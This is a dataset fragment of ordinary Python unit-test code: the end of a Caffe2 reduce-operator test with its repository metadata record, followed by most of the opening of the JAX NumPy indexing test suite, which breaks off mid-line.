num_reduce_dim, gc)\r\n        self.grad_variant_input_test(\r\n            \"ReduceBackSumGradient\", X, ref_sum, num_reduce_dim)\r\n\r\n    @given(**hu.gcs)\r\n    @settings(deadline=10000)\r\n    def test_reduce_back_sum_with_length(self, dc, gc):\r\n        num_reduce_dim = 1\r\n        X = np.random.rand(2, 3, 4, 5).astype(np.float32)\r\n        batch_size = int(np.prod([2, 3, 4, 5][:4 - num_reduce_dim]))\r\n        d = 120 // batch_size\r\n        lengths = np.random.randint(1, d, size=batch_size).astype(np.int32)\r\n\r\n        def ref_sum(X, lengths):\r\n            Y = X.reshape(lengths.size, d)\r\n            rv = np.zeros((lengths.size, 1)).astype(np.float32)\r\n            for ii in range(lengths.size):\r\n                rv[ii] = np.sum(Y[ii, :lengths[ii]])\r\n            return [rv.reshape((2, 3, 4, 5)[:4 - num_reduce_dim])]\r\n\r\n        self.reduce_op_test(\r\n            \"ReduceBackSum\", ref_sum, [X, lengths], [\"input\", \"lengths\"],\r\n            num_reduce_dim, gc)\r\n\r\n    @given(num_reduce_dim=st.integers(0, 4), **hu.gcs)\r\n    @settings(deadline=10000)\r\n    def test_reduce_back_mean(self, num_reduce_dim, dc, gc):\r\n        X = np.random.rand(6, 7, 8, 2).astype(np.float32)\r\n\r\n        def ref_mean(X):\r\n            return [np.mean(X, axis=(0, 1, 2, 3)[4 - num_reduce_dim:])]\r\n\r\n        self.reduce_op_test(\r\n            \"ReduceBackMean\", ref_mean, [X], [\"input\"], num_reduce_dim, gc)\r\n        self.grad_variant_input_test(\r\n            \"ReduceBackMeanGradient\", X, ref_mean, num_reduce_dim)\r\n\r\n    @given(**hu.gcs)\r\n    @settings(deadline=None)\r\n    def test_reduce_back_mean_with_length(self, dc, gc):\r\n        num_reduce_dim = 1\r\n        X = np.random.rand(2, 3, 4, 5).astype(np.float32)\r\n        batch_size = int(np.prod([2, 3, 4, 5][:4 - num_reduce_dim]))\r\n        d = 120 // batch_size\r\n        lengths = np.random.randint(1, d, size=batch_size).astype(np.int32)\r\n\r\n        def ref_mean(X, lengths):\r\n            Y = X.reshape(lengths.size, d)\r\n            rv = np.zeros((lengths.size, 1)).astype(np.float32)\r\n            for ii in range(lengths.size):\r\n                rv[ii] = np.mean(Y[ii, :lengths[ii]])\r\n            return [rv.reshape((2, 3, 4, 5)[:4 - num_reduce_dim])]\r\n\r\n        self.reduce_op_test(\r\n            \"ReduceBackMean\", ref_mean, [X, lengths], [\"input\", \"lengths\"],\r\n            num_reduce_dim, gc)\r\n", "meta": {"hexsha": "71f868653d8755b3e6630a2d43b4ea8c1080ce92", "size": 17790, "ext": "py", "lang": "Python", "max_stars_repo_path": "venv/Lib/site-packages/caffe2/python/operator_test/reduce_ops_test.py", "max_stars_repo_name": "Westlanderz/AI-Plat1", "max_stars_repo_head_hexsha": "1187c22819e5135e8e8189c99b86a93a0d66b8d8", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2022-01-08T12:30:44.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-08T12:30:44.000Z", "max_issues_repo_path": "venv/Lib/site-packages/caffe2/python/operator_test/reduce_ops_test.py", "max_issues_repo_name": "Westlanderz/AI-Plat1", "max_issues_repo_head_hexsha": "1187c22819e5135e8e8189c99b86a93a0d66b8d8", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "venv/Lib/site-packages/caffe2/python/operator_test/reduce_ops_test.py", "max_forks_repo_name": "Westlanderz/AI-Plat1", "max_forks_repo_head_hexsha": "1187c22819e5135e8e8189c99b86a93a0d66b8d8", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 39.5333333333, "max_line_length": 101, "alphanum_fraction": 0.5748173131, "include": true, "reason": "import numpy", "num_tokens": 4695, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4921881357207956, "lm_q2_score": 0.11436853674701283, "lm_q1q2_score": 0.05629083688662755}}
{"text": "# Copyright 2018 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\nimport collections\nfrom contextlib import contextmanager\nimport enum\nfrom functools import partial\nimport itertools\nimport warnings\n\nfrom absl.testing import absltest\nfrom absl.testing import parameterized\n\nimport numpy as np\n\nimport jax\nfrom jax import dtypes\nfrom jax import numpy as jnp\nfrom jax import ops\nfrom jax import test_util as jtu\nfrom jax._src import util\n\nfrom jax.config import config\nconfig.parse_flags_with_absl()\n\n# We disable the whitespace continuation check in this file because otherwise it\n# makes the test name formatting unwieldy.\n# pylint: disable=bad-continuation\n\n\nARRAY_MSG = r\"Using a non-tuple sequence for multidimensional indexing is not allowed.*arr\\[array\\(seq\\)\\]\"\nTUPLE_MSG = r\"Using a non-tuple sequence for multidimensional indexing is not allowed.*arr\\[tuple\\(seq\\)\\]\"\n\n\nfloat_dtypes = jtu.dtypes.floating\ndefault_dtypes = float_dtypes + jtu.dtypes.integer\nall_dtypes = default_dtypes + jtu.dtypes.boolean\n\nIndexSpec = collections.namedtuple(\"IndexTest\", [\"shape\", \"indexer\"])\n\n\ndef check_grads(f, args, order, atol=None, rtol=None, eps=None):\n  # TODO(mattjj,dougalm): add higher-order check\n  default_tol = 1e-6 if config.x64_enabled else 1e-2\n  atol = atol or default_tol\n  rtol = rtol or default_tol\n  eps = eps or default_tol\n  jtu.check_jvp(f, partial(jax.jvp, f), args, atol, rtol, eps)\n  jtu.check_vjp(f, partial(jax.vjp, f), args, atol, rtol, eps)\n\n\nSTATIC_INDEXING_TESTS = [\n    (\"OneIntIndex\", [\n        IndexSpec(shape=(3,), indexer=1),\n        IndexSpec(shape=(3, 3), indexer=0),\n        IndexSpec(shape=(3, 4, 5), indexer=2),\n        IndexSpec(shape=(3,), indexer=-1),\n        IndexSpec(shape=(3,), indexer=-2),\n    ]),\n    (\"TwoIntIndices\", [\n        IndexSpec(shape=(3, 3), indexer=(2, 1)),\n        IndexSpec(shape=(3, 4, 5), indexer=(1, 2)),\n        IndexSpec(shape=(3, 4, 5), indexer=(-1, 2)),\n    ]),\n    (\"ThreeIntIndices\", [IndexSpec((3, 4, 5), indexer=(1, 2, 3))]),\n    (\"OneSliceIndex\", [\n        IndexSpec(shape=(10,), indexer=slice(1, 3)),\n        IndexSpec(shape=(10,), indexer=slice(1, -1)),\n        IndexSpec(shape=(10,), indexer=slice(None, -1)),\n        IndexSpec(shape=(10,), indexer=slice(None, None, None)),\n        IndexSpec(shape=(10, 8), indexer=slice(1, 3)),\n        IndexSpec(shape=(10, 8), indexer=slice(1, None)),\n        IndexSpec(shape=(10, 8), indexer=slice(None, 3)),\n        IndexSpec(shape=(10, 8), indexer=slice(-3, None)),\n    ]),\n    (\"OneSliceIndexNegativeStride\", [\n        IndexSpec(shape=(10,), indexer=slice(3, 1, -1)),\n        IndexSpec(shape=(10,), indexer=slice(1, 8, -1)),  # empty result\n        IndexSpec(shape=(10,), indexer=slice(None, 1, -2)),\n        IndexSpec(shape=(10,), indexer=slice(None, None, -1)),\n        IndexSpec(shape=(10, 8), indexer=slice(3, 1, -1)),\n        IndexSpec(shape=(10, 8), indexer=slice(0, 8, -1)),  # empty result\n        IndexSpec(shape=(10, 8), indexer=slice(None, None, -1)),\n    ]),\n    (\"OneSliceIndexNonUnitStride\", [\n        IndexSpec(shape=(10,), indexer=slice(0, 8, 2)),\n        IndexSpec(shape=(10,), indexer=slice(0, 8, 3)),\n        IndexSpec(shape=(10,), indexer=slice(1, 3, 2)),\n        IndexSpec(shape=(10,), indexer=slice(1, None, 2)),\n        IndexSpec(shape=(10,), indexer=slice(None, 1, -2)),\n        IndexSpec(shape=(10, 8), indexer=slice(1, 8, 3)),\n        IndexSpec(shape=(10, 8), indexer=slice(None, None, 2)),\n        IndexSpec(shape=(10, 8), indexer=slice(None, 1, -2)),\n        IndexSpec(shape=(10, 8), indexer=slice(None, None, -2)),\n    ]),\n    (\"TwoSliceIndices\", [\n        IndexSpec(shape=(10, 8), indexer=(slice(1, 3), slice(0, 2))),\n        IndexSpec(shape=(10, 8), indexer=(slice(1, None), slice(None, 2))),\n        IndexSpec(\n            shape=(10, 8), indexer=(slice(None, None, -1), slice(None, 2))),\n        IndexSpec(shape=(10, 8, 3), indexer=(slice(1, 3), slice(0, 2))),\n        IndexSpec(shape=(10, 8, 3), indexer=(slice(1, 3), slice(0, None))),\n        IndexSpec(shape=(10, 8, 3), indexer=(slice(1, None), slice(0, 2))),\n    ]),\n    (\"OneColonIndex\", [\n        IndexSpec(shape=(3,), indexer=slice(None)),\n        IndexSpec(shape=(3, 4), indexer=slice(None)),\n    ]),\n    (\"MultipleColonIndices\", [\n        IndexSpec(shape=(3, 4), indexer=(slice(None), slice(None))),\n        IndexSpec(shape=(3, 4, 5), indexer=(slice(None), slice(None))),\n    ]),\n    (\"MixedSliceIndices\", [\n        IndexSpec(shape=(10, 4), indexer=(slice(None), slice(0, 2))),\n        IndexSpec(shape=(10, 4), indexer=(1, slice(None))),\n    ]),\n    (\"EllipsisIndex\", [\n        IndexSpec(shape=(3,), indexer=Ellipsis),\n        IndexSpec(shape=(3, 4), indexer=Ellipsis),\n        IndexSpec(shape=(3, 4, 5), indexer=(0, Ellipsis)),\n        IndexSpec(shape=(3, 4, 5), indexer=(Ellipsis, 2, 3)),\n    ]),\n    (\"NoneIndex\", [\n        IndexSpec(shape=(), indexer=None),\n        IndexSpec(shape=(), indexer=(None, None)),\n        IndexSpec(shape=(), indexer=(Ellipsis, None)),\n        IndexSpec(shape=(3,), indexer=None),\n        IndexSpec(shape=(3, 4), indexer=None),\n        IndexSpec(shape=(3, 4), indexer=(Ellipsis, None)),\n        IndexSpec(shape=(3, 4), indexer=(0, None, Ellipsis)),\n        IndexSpec(shape=(3, 4, 5), indexer=(1, None, Ellipsis)),\n    ]),\n    (\"EmptyIndex\", [\n        IndexSpec(shape=(), indexer=()),\n        IndexSpec(shape=(3,), indexer=()),\n        IndexSpec(shape=(3, 4), indexer=()),\n    ]),\n    (\"TupleOfIntAndSliceAndIntArray\", [\n        IndexSpec(shape=(3, 2, 3), indexer=(0, slice(None), np.arange(3))),\n        IndexSpec(shape=(3, 2, 3), indexer=(np.int32(1), slice(None), np.arange(3))),\n        IndexSpec(shape=(3, 2, 3), indexer=(np.array(2), slice(None), np.arange(3))),\n    ]),\n]\n\n\nADVANCED_INDEXING_TESTS = [\n    (\"One1DIntArrayIndex\",\n     [IndexSpec(shape=(3,), indexer=np.array([0, 1])),\n     IndexSpec(shape=(3, 3), indexer=np.array([1, 2, 1])),\n     IndexSpec(shape=(3, 4, 5), indexer=np.array([0, 2, 0, 1])),\n     IndexSpec(shape=(3,), indexer=np.array([-1, 1])),\n     IndexSpec(shape=(3,), indexer=np.array([-2, -1])),\n     IndexSpec(shape=(0,), indexer=np.array([], dtype=np.int32)),\n     ]),\n    (\"One2DIntArrayIndex\",\n     [IndexSpec(shape=(3,), indexer=np.array([[0, 0]])),\n     IndexSpec(shape=(3, 3), indexer=np.array([[1, 2, 1],\n                                                [0, 1, -1]])),\n     IndexSpec(shape=(3, 4, 5), indexer=np.array([[0, 2, 0, 1],\n                                                   [-1, -2, 1, 0]])),\n     ]),\n    (\"Two1DIntArrayIndicesNoBroadcasting\",\n     [IndexSpec(shape=(3, 3), indexer=(np.array([0, 1]),\n                                       np.array([1, 2]))),\n     IndexSpec(shape=(3, 4, 5), indexer=(np.array([0, 2, 0, 1]),\n                                         np.array([-1, 0, -1, 2]))),\n     ]),\n    (\"Two1DIntArrayIndicesWithBroadcasting\",\n     [IndexSpec(shape=(3, 3), indexer=(np.array([[0, 1]]),\n                                       np.array([1, 2]))),\n     IndexSpec(shape=(3, 4, 5), indexer=(np.array([[0, 2, 0, 1]]),\n                                         np.array([-1, 0, -1, 2]))),\n     ]),\n    (\"ArrayOfInts\",\n     [IndexSpec(shape=(3,), indexer=np.array([0, 1, 0])),\n     IndexSpec(shape=(3, 4, 5), indexer=np.array([0, -1])),\n     ]),\n    (\"TupleOfListsOfPythonInts\",\n     [IndexSpec(shape=(3, 4, 5), indexer=([0, 1],)),\n     IndexSpec(shape=(3, 4, 5), indexer=([[0], [-1]], [[2, 3, 0, 3]])),\n     ]),\n    (\"TupleOfPythonIntsAndIntArrays\",\n     [IndexSpec(shape=(3, 4, 5), indexer=(0, np.array([0, 1]))),\n     IndexSpec(shape=(3, 4, 5), indexer=(0, 1,\n                                         np.array([[2, 3, 0, 3]]))),\n     ]),\n    (\"TupleOfListsOfPythonIntsAndIntArrays\",\n     [IndexSpec(shape=(3, 4, 5), indexer=([0, 1], np.array([0]))),\n     IndexSpec(shape=(3, 4, 5), indexer=([[0], [-1]],\n                                         np.array([[2, 3, 0, 3]]))),\n     ]),\n]\n\nADVANCED_INDEXING_TESTS_NO_REPEATS = [\n    (\"One1DIntArrayIndex\",\n     [IndexSpec(shape=(3,), indexer=np.array([0, 1])),\n      IndexSpec(shape=(3, 3), indexer=np.array([1, 2, 0])),\n      IndexSpec(shape=(3, 4, 5), indexer=np.array([0, 2, 1])),\n      IndexSpec(shape=(3,), indexer=np.array([-1, 1])),\n      IndexSpec(shape=(3,), indexer=np.array([-2, -1])),\n      IndexSpec(shape=(0,), indexer=np.array([], dtype=np.int32)),\n     ]),\n    (\"One2DIntArrayIndex\",\n     [IndexSpec(shape=(3,), indexer=np.array([[0, 1]])),\n      IndexSpec(shape=(6, 6), indexer=np.array([[1, 2, 0],\n                                                 [3, 4, -1]])),\n     ]),\n    (\"Two1DIntArrayIndicesNoBroadcasting\",\n     [IndexSpec(shape=(3, 3), indexer=(np.array([0, 1]),\n                                       np.array([1, 2]))),\n      IndexSpec(shape=(4, 5, 6), indexer=(np.array([0, 2, 1, 3]),\n                                          np.array([-1, 0, -2, 1]))),\n     ]),\n    (\"Two1DIntArrayIndicesWithBroadcasting\",\n     [IndexSpec(shape=(3, 3), indexer=(np.array([[0, 1]]),\n                                       np.array([1, 2]))),\n      IndexSpec(shape=(4, 5, 6), indexer=(np.array([[0, 2, -1, 1]]),\n                                          np.array([-1, 0, -2, 2]))),\n     ]),\n    (\"ArrayOfInts\",\n     [IndexSpec(shape=(3,), indexer=np.array([0, 2, 1])),\n      IndexSpec(shape=(3, 4, 5), indexer=np.array([0, -1])),\n     ]),\n    (\"TupleOfListsOfPythonInts\",\n     [IndexSpec(shape=(3, 4, 5), indexer=([0, 1],)),\n      IndexSpec(shape=(3, 4, 5), indexer=([[0], [-1]], [[2, 3, 0]])),\n     ]),\n    (\"TupleOfPythonIntsAndIntArrays\",\n     [IndexSpec(shape=(3, 4, 5), indexer=(0, np.array([0, 1]))),\n      IndexSpec(shape=(3, 4, 5), indexer=(0, 1,\n                                          np.array([[2, 3, 0]]))),\n     ]),\n    (\"TupleOfListsOfPythonIntsAndIntArrays\",\n     [IndexSpec(shape=(3, 4, 5), indexer=([0, 1], np.array([0]))),\n      IndexSpec(shape=(3, 4, 5), indexer=([[0], [-1]],\n                                          np.array([[2, 3, 0]]))),\n     ]),\n]\n\nADVANCED_INDEXING_TESTS_NO_REPEATS_SORTED = [\n    (\"One1DIntArrayIndex\",\n     [IndexSpec(shape=(3,), indexer=np.array([0, 1])),\n      IndexSpec(shape=(3, 3), indexer=np.array([0, 1, 2])),\n      IndexSpec(shape=(3, 4, 5), indexer=np.array([0, 1, 2])),\n      IndexSpec(shape=(3,), indexer=np.array([-1, 1])),\n      IndexSpec(shape=(3,), indexer=np.array([-2, -1])),\n      IndexSpec(shape=(0,), indexer=np.array([], dtype=np.int32)),\n     ]),\n    (\"One2DIntArrayIndex\",\n     [IndexSpec(shape=(3,), indexer=np.array([[0, 1]])),\n      IndexSpec(shape=(6, 6), indexer=np.array([[-1, 0, 1],\n                                                 [ 2, 3, 4]])),\n     ]),\n    (\"Two1DIntArrayIndicesNoBroadcasting\",\n     [IndexSpec(shape=(3, 3), indexer=(np.array([0, 1]),\n                                       np.array([1, 2]))),\n      IndexSpec(shape=(4, 5, 6), indexer=(np.array([0, 1, 2, 3]),\n                                          np.array([-2, -1, 0, 1]))),\n     ]),\n    (\"Two1DIntArrayIndicesWithBroadcasting\",\n     [IndexSpec(shape=(3, 3), indexer=(np.array([[0, 1]]),\n                                       np.array([1, 2]))),\n      IndexSpec(shape=(4, 5, 6), indexer=(np.array([[-1, 0, 1, 2]]),\n                                          np.array([-2, -1, 0, 2]))),\n     ]),\n    (\"TupleOfListsOfPythonInts\",\n     [IndexSpec(shape=(3, 4, 5), indexer=([0, 1],)),\n      IndexSpec(shape=(3, 4, 5), indexer=([[0], [-1]], [[0, 2, 3]])),\n     ]),\n    (\"TupleOfPythonIntsAndIntArrays\",\n     [IndexSpec(shape=(3, 4, 5), indexer=(0, np.array([0, 1]))),\n      IndexSpec(shape=(3, 4, 5), indexer=(0, 1,\n                                          np.array([[0, 2, 3]]))),\n     ]),\n    (\"TupleOfListsOfPythonIntsAndIntArrays\",\n     [IndexSpec(shape=(3, 4, 5), indexer=([0, 1], np.array([0]))),\n      IndexSpec(shape=(3, 4, 5), indexer=([[0], [-1]],\n                                          np.array([[0, 2, 3]]))),\n     ]),\n]\n\nMIXED_ADVANCED_INDEXING_TESTS_NO_REPEATS = [\n    (\"SlicesAndOneIntArrayIndex\",\n     [IndexSpec(shape=(2, 3), indexer=(np.array([0, 1]), slice(1, 2))),\n     IndexSpec(shape=(2, 3), indexer=(slice(0, 2),\n                                      np.array([0, 2]))),\n     IndexSpec(shape=(3, 4, 5), indexer=(Ellipsis,\n                                         np.array([0, 2]),\n                                         slice(None))),\n     IndexSpec(shape=(3, 4, 5), indexer=(Ellipsis,\n                                         np.array([[0, 2], [1, 3]]),\n                                         slice(None))),\n     ]),\n    (\"SlicesAndTwoIntArrayIndices\",\n     [IndexSpec(shape=(3, 4, 5), indexer=(Ellipsis,\n                                          np.array([0, 2]),\n                                          np.array([-1, 2]))),\n     IndexSpec(shape=(3, 4, 5), indexer=(np.array([0, 2]),\n                                         Ellipsis,\n                                         np.array([-1, 2]))),\n     IndexSpec(shape=(3, 4, 5), indexer=(np.array([0, 2]),\n                                         np.array([-1, 2]),\n                                         Ellipsis)),\n     IndexSpec(shape=(3, 4, 5), indexer=(np.array([0, 2]),\n                                         np.array([-1, 2]),\n                                         slice(1, 3))),\n     IndexSpec(shape=(3, 4, 5), indexer=(np.array([0, 2]),\n                                         slice(1, 3),\n                                         np.array([-1, 2]))),\n     IndexSpec(shape=(3, 4, 5), indexer=(np.array([0, 2, -2]),\n                                         slice(None, None, 2),\n                                         np.array([-1, 2, 1]))),\n     ]),\n    (\"NonesAndIntArrayIndices\",\n     [IndexSpec(shape=(3, 4, 5), indexer=(np.array([0, 2]),\n                                          None,\n                                          np.array([-1, 2]))),\n     IndexSpec(shape=(3, 4, 5), indexer=(np.array([0, 2]),\n                                         None,\n                                         None,\n                                         np.array([-1, 2]))),\n     IndexSpec(shape=(3, 4, 5), indexer=(Ellipsis,\n                                         np.array([0, 2]),\n                                         None,\n                                         None,\n                                         np.array([-1, 2]))),\n     ]),\n    (\"IntArrayWithInt32Type\",\n     [IndexSpec(shape=(3, 4), indexer=(Ellipsis, np.array(1, dtype=np.int32)))\n     ]),\n]\n\nMIXED_ADVANCED_INDEXING_TESTS = MIXED_ADVANCED_INDEXING_TESTS_NO_REPEATS + [\n    (\"SlicesAndOneIntArrayIndex\",\n     [\n     IndexSpec(shape=(3, 4, 5), indexer=(Ellipsis,\n                                         np.array([[0, 2], [1, 1]]),\n                                         slice(None))),\n     ]),\n    (\"SlicesAndTwoIntArrayIndices\",\n     [IndexSpec(shape=(3, 4, 5), indexer=(np.array([0, 2, -2]),\n                                         slice(None, None, 2),\n                                         np.array([-1, 2, -1]))),\n      IndexSpec(shape=(3, 4, 5), indexer=(np.array([[0, 2], [2, 0]]),\n                                          Ellipsis,\n                                          np.array([[1, 0], [1, 0]]))),\n     ]),]\n\n@jtu.with_config(jax_numpy_rank_promotion=\"raise\")\nclass IndexingTest(jtu.JaxTestCase):\n  \"\"\"Tests for Numpy indexing translation rules.\"\"\"\n\n  @parameterized.named_parameters(jtu.cases_from_list({\n      \"testcase_name\": \"{}_inshape={}_indexer={}\".format(\n          name, jtu.format_shape_dtype_string( shape, dtype), indexer),\n       \"shape\": shape, \"dtype\": dtype, \"indexer\": indexer\n  } for name, index_specs in STATIC_INDEXING_TESTS\n    for shape, indexer in index_specs\n    for dtype in all_dtypes))\n  def testStaticIndexing(self, shape, dtype, indexer):\n    rng = jtu.rand_default(self.rng())\n    args_maker = lambda: [rng(shape, dtype)]\n    np_fun = lambda x: np.asarray(x)[indexer]\n    jnp_fun = lambda x: jnp.asarray(x)[indexer]\n    self._CheckAgainstNumpy(np_fun, jnp_fun, args_maker)\n    self._CompileAndCheck(jnp_fun, args_maker)\n\n  @parameterized.named_parameters(jtu.cases_from_list({\n      \"testcase_name\": \"{}_inshape={}_indexer={}\".format(\n          name, jtu.format_shape_dtype_string( shape, dtype), indexer),\n       \"shape\": shape, \"dtype\": dtype, \"indexer\": indexer\n  } for name, index_specs in STATIC_INDEXING_TESTS\n    for shape, indexer in index_specs\n    for dtype in all_dtypes))\n  def testStaticIndexingWithAtGet(self, shape, dtype, indexer):\n    rng = jtu.rand_default(self.rng())\n    args_maker = lambda: [rng(shape, dtype)]\n    np_fun = lambda x: np.asarray(x)[indexer]\n    jnp_fun = lambda x: jnp.asarray(x).at[indexer].get()\n    self._CheckAgainstNumpy(np_fun, jnp_fun, args_maker)\n    self._CompileAndCheck(jnp_fun, args_maker)\n\n  @parameterized.named_parameters({\n      \"testcase_name\":\n          \"{}_inshape={}_indexer={}\".format(name,\n                                            jtu.format_shape_dtype_string(\n                                                shape, dtype), indexer),\n      \"shape\": shape, \"dtype\": dtype, \"indexer\": indexer\n  } for name, index_specs in STATIC_INDEXING_TESTS\n    for shape, indexer in index_specs\n    for dtype in float_dtypes)\n  def testStaticIndexingGrads(self, shape, dtype, indexer):\n    rng = jtu.rand_default(self.rng())\n    tol = 1e-2 if jnp.finfo(dtype).bits == 32 else None\n    arg = rng(shape, dtype)\n    fun = lambda x: jnp.asarray(x)[indexer]**2\n    check_grads(fun, (arg,), 2, tol, tol, tol)\n\n  def _ReplaceSlicesWithTuples(self, idx):\n    \"\"\"Helper method to replace slices with tuples for dynamic indexing args.\"\"\"\n    if isinstance(idx, slice):\n      triple = idx.start, idx.stop, idx.step\n      isnone = [i for i, elt in enumerate(triple) if elt is None]\n      zeros = itertools.repeat(0)\n      nones = itertools.repeat(None)\n      out = util.subvals(triple, zip(isnone, zeros))\n      return out, lambda out: slice(*util.subvals(out, zip(isnone, nones)))\n    elif isinstance(idx, (tuple, list)) and idx:\n      t = type(idx)\n      elts, packs = zip(*map(self._ReplaceSlicesWithTuples, idx))\n      return elts, lambda elts: t((pack(i) for pack, i in zip(packs, elts)))\n    else:\n      return idx, lambda x: x\n\n  @parameterized.named_parameters(\n      {\"testcase_name\": \"{}_inshape={}_indexer={}\"\n       .format(name, jtu.format_shape_dtype_string(shape, dtype), indexer),\n       \"shape\": shape, \"dtype\": dtype, \"indexer\": indexer}\n      for name, index_specs in [\n          (\"OneSliceIndex\",\n           [IndexSpec(shape=(5,), indexer=slice(1, 3)),\n            IndexSpec(shape=(5, 4), indexer=slice(1, 3))]),\n          (\"TwoSliceIndices\",\n           [IndexSpec(shape=(5, 4), indexer=(slice(1, 3), slice(0, 2))),\n            IndexSpec(shape=(5, 4, 3), indexer=(slice(1, 3), slice(0, 2)))]),\n          (\"NonUnitStrides\", [\n              IndexSpec(shape=(3,), indexer=slice(None, None, -1)),\n              IndexSpec(shape=(3, 3), indexer=slice(0, 3, -2)),\n              IndexSpec(shape=(3, 4, 5), indexer=slice(0, 4, 2))\n          ]),\n          (\"OnlyStartOrStopDynamic\", [\n              IndexSpec(shape=(5, 4), indexer=(slice(None, 3), slice(0, 2))),\n              IndexSpec(shape=(5, 4, 3), indexer=(slice(1, 3), slice(0, None)))\n          ]),\n      ]\n      for shape, indexer in index_specs\n      for dtype in all_dtypes)\n  def testDynamicIndexingWithSlicesErrors(self, shape, dtype, indexer):\n    rng = jtu.rand_default(self.rng())\n    unpacked_indexer, pack_indexer = self._ReplaceSlicesWithTuples(indexer)\n\n    @jax.jit\n    def fun(x, unpacked_indexer):\n      indexer = pack_indexer(unpacked_indexer)\n      return x[indexer]\n\n    args_maker = lambda: [rng(shape, dtype), unpacked_indexer]\n    self.assertRaises(IndexError, lambda: fun(*args_maker()))\n\n  @parameterized.named_parameters(\n      {\"testcase_name\": \"{}_inshape={}_indexer={}\"\n       .format(name, jtu.format_shape_dtype_string(shape, dtype), indexer),\n       \"shape\": shape, \"dtype\": dtype, \"indexer\": indexer}\n      for name, index_specs in [\n          (\"OneIntIndex\",\n           [IndexSpec(shape=(3,), indexer=1),\n            IndexSpec(shape=(3, 3), indexer=0),\n            IndexSpec(shape=(3, 4, 5), indexer=2),\n            IndexSpec(shape=(3,), indexer=-1),\n            IndexSpec(shape=(3,), indexer=-2)]),\n          (\"TwoIntIndices\",\n           [IndexSpec(shape=(3, 3), indexer=(2, 1)),\n            IndexSpec(shape=(3, 4, 5), indexer=(1, 2)),\n            IndexSpec(shape=(3, 4, 5), indexer=(-1, 2))]),\n          (\"ThreeIntIndices\",\n           [IndexSpec((3, 4, 5), indexer=(1, 2, 3))]),\n      ]\n      for shape, indexer in index_specs\n      for dtype in all_dtypes)\n  def testDynamicIndexingWithIntegers(self, shape, dtype, indexer):\n    rng = jtu.rand_default(self.rng())\n    unpacked_indexer, pack_indexer = self._ReplaceSlicesWithTuples(indexer)\n\n    def np_fun(x, unpacked_indexer):\n      indexer = pack_indexer(unpacked_indexer)\n      return np.asarray(x)[indexer]\n\n    def jnp_fun(x, unpacked_indexer):\n      indexer = pack_indexer(unpacked_indexer)\n      return jnp.array(x)[indexer]\n\n    args_maker = lambda: [rng(shape, dtype), unpacked_indexer]\n    self._CheckAgainstNumpy(np_fun, jnp_fun, args_maker)\n    self._CompileAndCheck(jnp_fun, args_maker)\n\n  @parameterized.named_parameters(\n      {\"testcase_name\": \"{}_inshape={}_indexer={}\"\n       .format(name, jtu.format_shape_dtype_string(shape, dtype), indexer),\n       \"shape\": shape, \"dtype\": dtype, \"indexer\": indexer}\n      for name, index_specs in [\n          (\"OneIntIndex\",\n           [IndexSpec(shape=(3,), indexer=1),\n            IndexSpec(shape=(3, 3), indexer=0),\n            IndexSpec(shape=(3, 4, 5), indexer=2),\n            IndexSpec(shape=(3,), indexer=-1),\n            IndexSpec(shape=(3,), indexer=-2),\n            ]),\n          (\"TwoIntIndices\",\n           [IndexSpec(shape=(3, 3), indexer=(2, 1)),\n            IndexSpec(shape=(3, 4, 5), indexer=(1, 2)),\n            IndexSpec(shape=(3, 4, 5), indexer=(-1, 2)),\n            ]),\n          (\"ThreeIntIndices\",\n           [IndexSpec((3, 4, 5), indexer=(1, 2, 3))]),\n      ]\n      for shape, indexer in index_specs\n      for dtype in float_dtypes)\n  def testDynamicIndexingWithIntegersGrads(self, shape, dtype, indexer):\n    rng = jtu.rand_default(self.rng())\n    tol = 1e-2 if jnp.finfo(dtype).bits == 32 else None\n    unpacked_indexer, pack_indexer = self._ReplaceSlicesWithTuples(indexer)\n\n    @jax.jit\n    def fun(unpacked_indexer, x):\n      indexer = pack_indexer(unpacked_indexer)\n      return x[indexer]\n\n    arr = rng(shape, dtype)\n    check_grads(partial(fun, unpacked_indexer), (arr,), 2, tol, tol, tol)\n\n  @parameterized.named_parameters(\n      {\"testcase_name\": \"{}_inshape={}_indexer={}\"\n       .format(name, jtu.format_shape_dtype_string(shape, dtype), indexer),\n       \"shape\": shape, \"dtype\": dtype, \"indexer\": indexer}\n      for name, index_specs in ADVANCED_INDEXING_TESTS\n      for shape, indexer in index_specs\n      for dtype in all_dtypes)\n  def testAdvancedIntegerIndexing(self, shape, dtype, indexer):\n    rng = jtu.rand_default(self.rng())\n    args_maker = lambda: [rng(shape, dtype), indexer]\n    np_fun = lambda x, idx: np.asarray(x)[idx]\n    jnp_fun = lambda x, idx: jnp.asarray(x)[idx]\n    self._CheckAgainstNumpy(np_fun, jnp_fun, args_maker)\n    self._CompileAndCheck(jnp_fun, args_maker)\n\n  @parameterized.named_parameters(\n      {\"testcase_name\": \"{}_inshape={}_indexer={}\"\n       .format(name, jtu.format_shape_dtype_string(shape, dtype), indexer),\n       \"shape\": shape, \"dtype\": dtype, \"indexer\": indexer}\n      for name, index_specs in [\n          (\"One1DIntArrayIndex\",\n           [IndexSpec(shape=(3,), indexer=np.array([0, 1])),\n            IndexSpec(shape=(3, 3), indexer=np.array([1, 2, 1])),\n            IndexSpec(shape=(3, 4, 5), indexer=np.array([0, 2, 0, 1])),\n            IndexSpec(shape=(3,), indexer=np.array([-1, 1])),\n            IndexSpec(shape=(3,), indexer=np.array([-2, -1])),\n            ]),\n          (\"One2DIntArrayIndex\",\n           [IndexSpec(shape=(3,), indexer=np.array([[0, 0]])),\n            IndexSpec(shape=(3, 3), indexer=np.array([[1, 2, 1],\n                                                       [0, 1, -1]])),\n            IndexSpec(shape=(3, 4, 5), indexer=np.array([[0, 